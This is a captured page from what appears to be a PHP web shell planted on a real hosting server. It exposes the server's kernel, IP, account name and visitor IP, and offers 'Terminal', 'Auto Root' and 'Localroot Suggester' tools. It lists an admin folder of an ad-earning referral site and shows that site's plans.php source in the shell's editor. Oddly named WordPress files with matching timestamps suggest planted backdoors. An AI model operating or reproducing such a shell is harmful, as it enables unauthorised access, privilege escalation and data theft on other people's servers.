Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ads.php
10.11
KB
-rw-r--r--
2025-12-22 20:20
announcements.php
8.13
KB
-rw-r--r--
2025-12-25 17:46
banners.php
9.86
KB
-rw-r--r--
2025-12-22 19:19
boosts.php
5.51
KB
-rw-r--r--
2025-12-24 21:41
daily_targets.php
11.29
KB
-rw-r--r--
2025-12-26 07:59
dashboard.php
9.23
KB
-rw-r--r--
2025-12-25 12:46
deposits.php
13.59
KB
-rw-r--r--
2026-01-26 16:58
dpin_requests.php
7.43
KB
-rw-r--r--
2025-12-24 21:41
dpins.php
9.37
KB
-rw-r--r--
2025-12-23 19:48
error_log
1.14
KB
-rw-r--r--
2026-01-07 16:39
footer.php
122
B
-rw-r--r--
2025-12-25 18:15
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:15
login.php
4.42
KB
-rw-r--r--
2026-01-26 17:46
lucky_wheel.php
24.12
KB
-rw-r--r--
2026-01-26 16:57
orders.php
12.63
KB
-rw-r--r--
2026-01-07 16:27
payment_methods.php
6.53
KB
-rw-r--r--
2025-12-23 19:24
plans.php
22.86
KB
-rw-r--r--
2025-12-29 11:03
products.php
10.72
KB
-rw-r--r--
2026-01-07 16:15
ranks.php
7.31
KB
-rw-r--r--
2025-12-25 16:48
referrals.php
8.7
KB
-rw-r--r--
2025-12-25 12:43
return.php
440
B
-rw-r--r--
2025-12-29 13:55
settings.php
10.77
KB
-rw-r--r--
2026-01-07 16:26
tickets.php
11.98
KB
-rw-r--r--
2025-12-22 19:21
users.php
18.1
KB
-rw-r--r--
2025-12-29 13:53
withdraws.php
11.42
KB
-rw-r--r--
2025-12-24 22:29
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('ADMIN_PANEL', true); require_once '../includes/config.php'; requireAdmin(); $page_title = 'Manage Plans'; // Handle plan actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action']; try { if ($action === 'create') { $stmt = $pdo->prepare(" INSERT INTO plans (plan_name, plan_price, ads_limit_per_day, plan_duration, upto_level, ads_earning_base, ads_earning_daily_increase, ads_earning_max, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'active') "); $stmt->execute([ $_POST['plan_name'], $_POST['plan_price'], $_POST['ads_limit_per_day'], $_POST['plan_duration'], $_POST['upto_level'], $_POST['ads_earning_base'], $_POST['ads_earning_daily_increase'], $_POST['ads_earning_max'] ]); $newPlanId = $pdo->lastInsertId(); // Save Boosts if (isset($_POST['boost_referrals']) && is_array($_POST['boost_referrals'])) { $stmtBoost = $pdo->prepare("INSERT INTO plan_boosts (plan_id, required_referrals, earning_amount, daily_increment) VALUES (?, ?, ?, ?)"); foreach ($_POST['boost_referrals'] as $idx => $refs) { if (empty($refs)) continue; $stmtBoost->execute([ $newPlanId, intval($refs), floatval($_POST['boost_amount'][$idx]), floatval($_POST['boost_increment'][$idx] ?? 0) ]); } } setSuccess("Plan created successfully!"); } elseif ($action === 'update') { $stmt = $pdo->prepare(" UPDATE plans SET plan_name = ?, plan_price = ?, ads_limit_per_day = ?, plan_duration = ?, upto_level = ?, ads_earning_base = ?, ads_earning_daily_increase = ?, ads_earning_max = ? WHERE id = ? "); $stmt->execute([ $_POST['plan_name'], $_POST['plan_price'], $_POST['ads_limit_per_day'], $_POST['plan_duration'], $_POST['upto_level'], $_POST['ads_earning_base'], $_POST['ads_earning_daily_increase'], $_POST['ads_earning_max'], $_POST['plan_id'] ]); $planId = $_POST['plan_id']; // Update Boosts (Delete old, insert new) $pdo->prepare("DELETE FROM plan_boosts WHERE plan_id = ?")->execute([$planId]); if (isset($_POST['boost_referrals']) && is_array($_POST['boost_referrals'])) { $stmtBoost = $pdo->prepare("INSERT INTO plan_boosts (plan_id, required_referrals, earning_amount, daily_increment) VALUES (?, ?, ?, ?)"); foreach ($_POST['boost_referrals'] as $idx => $refs) { if (empty($refs)) continue; $stmtBoost->execute([ $planId, intval($refs), floatval($_POST['boost_amount'][$idx]), floatval($_POST['boost_increment'][$idx] ?? 0) ]); } } setSuccess("Plan updated successfully!"); } elseif ($action === 'toggle_status') { $planId = intval($_POST['plan_id']); $stmt = $pdo->prepare("SELECT status FROM plans WHERE id = ?"); $stmt->execute([$planId]); $plan = $stmt->fetch(); $newStatus = $plan['status'] === 'active' ? 'inactive' : 'active'; $stmt = $pdo->prepare("UPDATE plans SET status = ? WHERE id = ?"); $stmt->execute([$newStatus, $planId]); setSuccess("Plan status updated!"); } elseif ($action === 'delete') { $stmt = $pdo->prepare("DELETE FROM plans WHERE id = ?"); $stmt->execute([intval($_POST['plan_id'])]); setSuccess("Plan deleted successfully!"); } } catch (Exception $e) { setError("Failed to perform action: " . $e->getMessage()); } header('Location: plans.php'); exit; } // Get all plans $stmt = $pdo->query("SELECT * FROM plans ORDER BY plan_price ASC"); $plans = $stmt->fetchAll(); // Get plan being edited $editPlan = null; if (isset($_GET['edit'])) { $stmt = $pdo->prepare("SELECT * FROM plans WHERE id = ?"); $stmt->execute([intval($_GET['edit'])]); $editPlan = $stmt->fetch(); if ($editPlan) { $stmtB = $pdo->prepare("SELECT * FROM plan_boosts WHERE plan_id = ? ORDER BY required_referrals ASC"); $stmtB->execute([$editPlan['id']]); $planBoosts = $stmtB->fetchAll(); } } else { $planBoosts = []; } include 'header.php'; ?> <?php $success = getSuccess(); if ($success) { echo '<div class="alert alert-success"><i class="fas fa-check-circle"></i> ' . htmlspecialchars($success) . '</div>'; } $error = getError(); if ($error) { echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; } ?> <!-- Create/Edit Plan --> <div class="card"> <div class="card-header"> <i class="fas fa-<?php echo $editPlan ? 'edit' : 'plus'; ?>"></i> <?php echo $editPlan ? 'Edit Plan' : 'Create New Plan'; ?> </div> <div class="card-body"> <form method="POST" action=""> <input type="hidden" name="action" value="<?php echo $editPlan ? 'update' : 'create'; ?>"> <?php if ($editPlan): ?> <input type="hidden" name="plan_id" value="<?php echo $editPlan['id']; ?>"> <?php endif; ?> <div class="form-group"> <label class="form-label">Plan Name</label> <input type="text" name="plan_name" class="form-control" placeholder="e.g., Basic Plan" value="<?php echo $editPlan ? htmlspecialchars($editPlan['plan_name']) : ''; ?>" required> </div> <div class="form-group"> <label class="form-label">Plan Price (<?php echo getSetting('currency_symbol', '$'); ?>)</label> <input type="number" name="plan_price" class="form-control" placeholder="e.g., 10.00" step="0.01" value="<?php echo $editPlan ? $editPlan['plan_price'] : ''; ?>" required> </div> <div class="form-group"> <label class="form-label">Ads Limit Per Day</label> <input type="number" name="ads_limit_per_day" class="form-control" placeholder="e.g., 10" value="<?php echo $editPlan ? $editPlan['ads_limit_per_day'] : ''; ?>" required> </div> <div class="form-group"> <label class="form-label">Plan Duration (Days)</label> <input type="number" name="plan_duration" class="form-control" placeholder="e.g., 30" value="<?php echo $editPlan ? $editPlan['plan_duration'] : ''; ?>" required> <small style="color: var(--text-secondary);"><i class="fas fa-info-circle"></i> Enter <strong>0</strong> for Lifetime duration.</small> </div> <div class="form-group"> <label class="form-label">Income Upto Level</label> <input type="number" name="upto_level" class="form-control" placeholder="e.g., 5" value="<?php echo $editPlan ? ($editPlan['upto_level'] ?? 5) : '5'; ?>" min="1" max="20" required> <small style="color: var(--text-secondary);"><i class="fas fa-info-circle"></i> How many levels of referral income should this plan give?</small> </div> <div style="background: rgba(255,255,255,0.02); padding: 15px; border-radius: 12px; border: 1px solid var(--border-color); margin-bottom: 20px;"> <h4 style="color: var(--primary-color); margin-top: 0; margin-bottom: 15px;"><i class="fas fa-money-bill-wave"></i> Ad Earning Control</h4> <div class="form-group"> <label class="form-label">Starting Earning (Base)</label> <input type="number" name="ads_earning_base" id="plan_base_input" class="form-control" step="0.000001" placeholder="e.g., 0.005" value="<?php echo $editPlan ? ($editPlan['ads_earning_base'] ?? '') : ''; ?>" required> <small style="color: var(--text-secondary);">Currently: <strong id="plan_base_display" style="color: var(--primary-color);"><?php echo $editPlan ? ($editPlan['ads_earning_base'] ?? '0.0000') : '0.0000'; ?></strong></small> </div> <div class="form-group"> <label class="form-label">Daily Increase</label> <input type="number" name="ads_earning_daily_increase" id="plan_increase_input" class="form-control" step="0.000001" placeholder="e.g., 0.0001" value="<?php echo $editPlan ? ($editPlan['ads_earning_daily_increase'] ?? '') : ''; ?>" required> <small style="color: var(--text-secondary);">Currently: <strong id="plan_increase_display" style="color: var(--primary-color);"><?php echo $editPlan ? ($editPlan['ads_earning_daily_increase'] ?? '0.0000') : '0.0000'; ?></strong></small> </div> <div class="form-group"> <label class="form-label">Maximum Earning</label> <input type="number" name="ads_earning_max" id="plan_max_input" class="form-control" step="0.000001" placeholder="e.g., 0.02" value="<?php echo $editPlan ? ($editPlan['ads_earning_max'] ?? '') : ''; ?>" required> <small style="color: var(--text-secondary);">Currently: <strong id="plan_max_display" style="color: var(--primary-color);"><?php echo $editPlan ? ($editPlan['ads_earning_max'] ?? '0.0000') : '0.0000'; ?></strong></small> </div> </div> <!-- Premium Plan Boosts Section --> <div style="background: rgba(255,255,255,0.02); padding: 20px; border-radius: 16px; border: 1px solid var(--border-color); margin-bottom: 20px;"> <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px;"> <h4 style="color: #2ecc71; margin: 0;"><i class="fas fa-bolt"></i> Plan Referral Boosts</h4> <button type="button" id="add-boost" class="btn btn-success btn-sm" style="border-radius: 8px; padding: 5px 15px;"> <i class="fas fa-plus"></i> Add Level </button> </div> <div style="display: grid; grid-template-columns: 1fr 1fr 1fr 50px; gap: 15px; padding: 0 10px 10px 10px; border-bottom: 1px solid rgba(255,255,255,0.05); margin-bottom: 15px;"> <small style="color: var(--text-secondary); font-weight: 800; text-transform: uppercase; font-size: 10px; letter-spacing: 1px;">Req. Referrals</small> <small style="color: var(--text-secondary); font-weight: 800; text-transform: uppercase; font-size: 10px; letter-spacing: 1px;">Earning Amount</small> <small style="color: var(--text-secondary); font-weight: 800; text-transform: uppercase; font-size: 10px; letter-spacing: 1px;">Daily Increase</small> <div></div> </div> <div id="boosts-container"> <?php if (empty($planBoosts)): ?> <!-- Initial row for new plan --> <div class="boost-row" style="display: grid; grid-template-columns: 1fr 1fr 1fr 50px; gap: 15px; margin-bottom: 15px; align-items: center; background: rgba(255,255,255,0.01); padding: 10px; border-radius: 10px;"> <input type="number" name="boost_referrals[]" class="form-control" placeholder="e.g. 5"> <input type="number" name="boost_amount[]" class="form-control" step="0.000001" placeholder="0.0010"> <input type="number" name="boost_increment[]" class="form-control" step="0.000001" placeholder="0.0001"> <button type="button" class="btn btn-danger btn-sm remove-boost" style="height: 38px; width: 38px; border-radius: 8px; display: flex; align-items: center; justify-content: center;"><i class="fas fa-trash"></i></button> </div> <?php else: ?> <?php foreach ($planBoosts as $boost): ?> <div class="boost-row" style="display: grid; grid-template-columns: 1fr 1fr 1fr 50px; gap: 15px; margin-bottom: 15px; align-items: center; background: rgba(255,255,255,0.01); padding: 10px; border-radius: 10px;"> <input type="number" name="boost_referrals[]" class="form-control" placeholder="e.g. 5" value="<?php echo $boost['required_referrals']; ?>"> <input type="number" name="boost_amount[]" class="form-control" step="0.000001" placeholder="0.0010" value="<?php echo $boost['earning_amount']; ?>"> <input type="number" name="boost_increment[]" class="form-control" step="0.000001" placeholder="0.0001" value="<?php echo $boost['daily_increment']; ?>"> <button type="button" class="btn btn-danger btn-sm remove-boost" style="height: 38px; width: 38px; border-radius: 8px; display: flex; align-items: center; justify-content: center;"><i class="fas fa-trash"></i></button> </div> <?php endforeach; ?> <?php endif; ?> </div> <small style="color: var(--text-secondary); display: block; margin-top: 10px; font-style: italic;"><i class="fas fa-info-circle"></i> These rewards are specific to this plan. If left empty, no referral boost will apply for users on this plan.</small> </div> <script> // Dynamic Boost Rows with refined UI document.getElementById('add-boost').addEventListener('click', function () { const container = document.getElementById('boosts-container'); const newRow = document.createElement('div'); newRow.className = 'boost-row'; newRow.style = 'display: grid; grid-template-columns: 1fr 1fr 1fr 50px; gap: 15px; margin-bottom: 15px; align-items: center; background: rgba(255,255,255,0.01); padding: 10px; border-radius: 10px;'; newRow.innerHTML = ` <input type="number" name="boost_referrals[]" class="form-control" placeholder="e.g. 5"> <input type="number" name="boost_amount[]" class="form-control" step="0.000001" placeholder="0.0010"> <input type="number" name="boost_increment[]" class="form-control" step="0.000001" placeholder="0.0001"> <button type="button" class="btn btn-danger btn-sm remove-boost" style="height: 38px; width: 38px; border-radius: 8px; display: flex; align-items: center; justify-content: center;"><i class="fas fa-trash"></i></button> `; container.appendChild(newRow); }); document.addEventListener('click', function (e) { if (e.target && (e.target.classList.contains('remove-boost') || e.target.parentElement.classList.contains('remove-boost'))) { const row = e.target.closest('.boost-row'); if (row) row.remove(); } }); </script> <script> // Live Sync for Plan Earning const planInputs = { 'plan_base_input': 'plan_base_display', 'plan_increase_input': 'plan_increase_display', 'plan_max_input': 'plan_max_display' }; Object.keys(planInputs).forEach(inputId => { const input = document.getElementById(inputId); const display = document.getElementById(planInputs[inputId]); if (input && display) { input.addEventListener('input', function () { display.textContent = this.value || '0.0000'; }); } }); </script> <div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 10px;"> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> <?php echo $editPlan ? 'Update' : 'Create'; ?> Plan </button> <?php if ($editPlan): ?> <a href="plans.php" class="btn btn-secondary"> <i class="fas fa-times"></i> Cancel </a> <?php endif; ?> </div> </form> </div> </div> <!-- Plans List --> <div class="card"> <div class="card-header"> <i class="fas fa-box"></i> All Plans (<?php echo count($plans); ?>) </div> <div class="card-body"> <?php if (empty($plans)): ?> <p style="color: var(--text-secondary); text-align: center;">No plans created yet.</p> <?php else: ?> <?php foreach ($plans as $plan): ?> <div class="card" style="margin-bottom: 15px; background: var(--dark-bg); border: 2px solid <?php echo $plan['status'] === 'active' ? 'var(--primary-color)' : 'var(--border-color)'; ?>;"> <div class="card-body"> <div style="display: flex; justify-content: space-between; margin-bottom: 15px;"> <div> <h3 style="color: var(--primary-color); margin-bottom: 5px;"> <?php echo htmlspecialchars($plan['plan_name']); ?> </h3> <div style="font-size: 28px; font-weight: bold; color: var(--text-primary);"> <?php echo getSetting('currency_symbol', '$'); ?> <?php echo number_format($plan['plan_price'], 2); ?> </div> </div> <div style="text-align: right;"> <span class="badge badge-<?php echo $plan['status'] === 'active' ? 'success' : 'danger'; ?>"> <?php echo ucfirst($plan['status']); ?> </span> </div> </div> <div style="margin-bottom: 15px;"> <p style="color: var(--text-secondary); margin-bottom: 5px;"> <i class="fas fa-eye"></i> <strong><?php echo $plan['ads_limit_per_day']; ?></strong> ads per day </p> <p style="color: var(--text-secondary); margin: 0;"> <i class="fas fa-calendar"></i> <strong><?php echo $plan['plan_duration'] > 0 ? $plan['plan_duration'] . ' days' : 'Lifetime'; ?></strong> duration </p> <p style="color: var(--text-secondary); margin: 5px 0 0;"> <i class="fas fa-network-wired"></i> Referral Income: <strong>Upto Level <?php echo $plan['upto_level'] ?? 5; ?></strong> </p> </div> <!-- Actions --> <div style="display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px;"> <a href="plans.php?edit=<?php echo $plan['id']; ?>" class="btn btn-secondary btn-sm"> <i class="fas fa-edit"></i> Edit </a> <form method="POST" action="" style="margin: 0;"> <input type="hidden" name="action" value="toggle_status"> <input type="hidden" name="plan_id" value="<?php echo $plan['id']; ?>"> <button type="submit" class="btn btn-<?php echo $plan['status'] === 'active' ? 'warning' : 'success'; ?> btn-sm" style="width: 100%;"> <i class="fas fa-<?php echo $plan['status'] === 'active' ? 'pause' : 'play'; ?>"></i> <?php echo $plan['status'] === 'active' ? 'Deactivate' : 'Activate'; ?> </button> </form> <form method="POST" action="" style="margin: 0;"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="plan_id" value="<?php echo $plan['id']; ?>"> <button type="submit" class="btn btn-danger btn-sm" style="width: 100%;" onclick="return confirm('Are you sure you want to delete this plan?')"> <i class="fas fa-trash"></i> Delete </button> </form> </div> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <?php include 'footer.php'; ?>